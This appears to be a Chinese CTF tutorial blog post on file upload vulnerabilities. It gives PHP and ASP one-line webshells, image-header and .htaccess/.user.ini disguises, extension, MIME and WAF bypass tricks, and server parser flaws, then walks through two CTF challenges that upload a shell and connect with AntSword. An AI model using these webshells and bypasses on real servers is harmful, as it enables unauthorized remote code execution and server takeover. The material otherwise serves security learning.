文件上传漏洞

文件上传漏洞原理

用户通过上传点上传恶意代码或文件,web端没有对用户上传的文件进行审计,从而实现控制web端的目的。

webshell的作用

简单的一句话木马:

<?php @eval($_POST['cmd']); ?>

POST传参:cmd=phpinfo();

这里是将我们通过变量cmd传递的内容当中PHP代码执行。类似于Linux系统里面的代码cmd=system(whomai) ;

蚁剑的使用

打开蚁剑,右击选择添加数据

连接密码为一句话木马参数变量名

 

各种形态的一句话木马

POST传参

<?php @eval($_POST['cmd']); ?>

利用方法如上

GET传参

<?php @eval($_GET['cmd']); ?>

1、直接通过传递执行命令来达到目的

 2、借POST方法间接达到目的:

 经常使用到的木马

1、标准一句话木马 <?php @eval($_POST['a']); ?>

2、GIF89a       //绕过内容识别 
   <script language='PHP'>eval($_POST['cmd']);</script>  //绕过php识别

3、GIF89a   //绕过内容识别
	<?php @eval($_POST['cmd']);?> 

4、<?= eval($_POST['cmd']);?>  //绕过对内容是否含有php进行检测

5、 <?= ?>相当于<?php echo >  这个是php的短标签,需要在php.ini开启short_open_tag
  
6、GIF89a  这个是文件的幻数头,可以绕过对文件头部内容的检测。
  
7、.htaccess文件里面的内容
  <FilesMatch "1.jpg">  //将1.jpg文件当作php文件执行
  SetHandler application/x-httpd-php
   </FilesMatch>
  或者 AddType application/x-httpd-php .jpg  //将jpg文件变成php文件执行

8、.user.ini文件里面的内容
	auto_prepend_file=11.gif   //我们后面要上传的文件名为11.gif

9、asp一句话木马  <%eval request ("a")%>

不同的开发环境需要用到的木马也不一样,但目的都是一样的

文件上传漏洞绕过

后缀名的绕过

①:在某些特定的情况下的后缀也能够被当作php文件进行解析,例如PHP2、php3、php4、phtml、pht等情况。

②:双写绕过  .phpphp  //存在一种可能就是在编辑过滤的时候只过滤了一次

③:大小写绕过将.phP文件名后缀大写

④:收尾去空绕过,在后缀名加空格(需要在抓到的数据包中加空格,直接在文件后缀名加空格会命名不成功,它会自动删除空格)

⑤:不删除末尾的点,在后缀名加点(需要在抓到的数据包中加点,直接在文件后缀名加点会命名不成功,它会自动删除点)

⑥:::$DATA:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名。例如:cmd.php::$DATA,Windows会自动去掉末尾的::$DATA变成x.php

MIME绕过

抓包将Content-Type修改为image/jpeg  或者image/png......

中间件之服务器

中间件包括apache,tomcat,iis,weblogic等

1.IIS6.0版本

(1) 当建立.asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当作为asp文件解析。
(2) 当上传文件.asp;*.jpg IIS6.0会将文件当做asp文件解析。

2.apache低版本(2.x)

如果对方中间件是apache属于低版本,我们可以利用文件上传,上传一个不识别的文件后缀,利用解析漏洞规则成功解析文件,其中的后门代码被执行。例如:x.php.aaa.bbb.ccc.mmm,可以被当作php文件进行解析,从最后一个.mmm开始,apache不认识,就往前走,一直到.php,这样即绕过了验证,有可以进行解析。

3.apache换行解析漏洞(2.4.0--2.4.29)

在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

4.Nginx低版本、II7

上传可以上传的文件,在文件地址后加上/x.php,可以让文件以php代码去执行。

5.Nginx文件名逻辑(0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7)

我们只需要上传一个空格结尾的文件,即可使PHP解析

WAF绕过

①:数据溢出

可以在文件名上大量写入数据

filename=aaaaaavvvvvvvvssssssssdsdadasdassfdsfdsf.php  //数据量自行测试

②:%00截断

%00;===》换行

③:重复数据防匹配

Content-Disposition: form-data; name="upload_file";filename="2.jpg";filename="2.jpg";filename="2.jpg";filename="2.jpg";......filename="2.php";

.user.ini和.htaccess的区别

  • .htaccess文件只能用于apahce,不能用于iisnginx等中间件
  • .user.ini只能用于Server APIFastCGI模式下,而正常情况下apache不是运行在此模块下的。
  • .htaccess.user.ini都只能用于访问本目录下的文件时进行覆盖。

例题

1、[HNCTF 2022 Week1]easy_upload

 直接上传.php文件,一点过滤都没有

上蚁剑

 

2、[GXYCTF 2019]BabyUpload (.htaccess)

打开题目可以看到上传点:

 上传一句话木马,上传.php文件显示如下

 提示我们后缀不能有ph

测试一下上面几种后缀名绕过可不可以,发现都不行

先上传.htaccess文件

显示上传类型太露骨了吧!应该是还有那些检查,修改一下 Content-Type

 上传成功

 接着上传1.jpg文件,内容为一句话木马

 

 竟然还是不行,猜测它可能去识别了内容,不能含有<?

上传下面一句话木马的文件

 

 上传成功

上蚁剑

 

连接成功,拿到flag

 

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值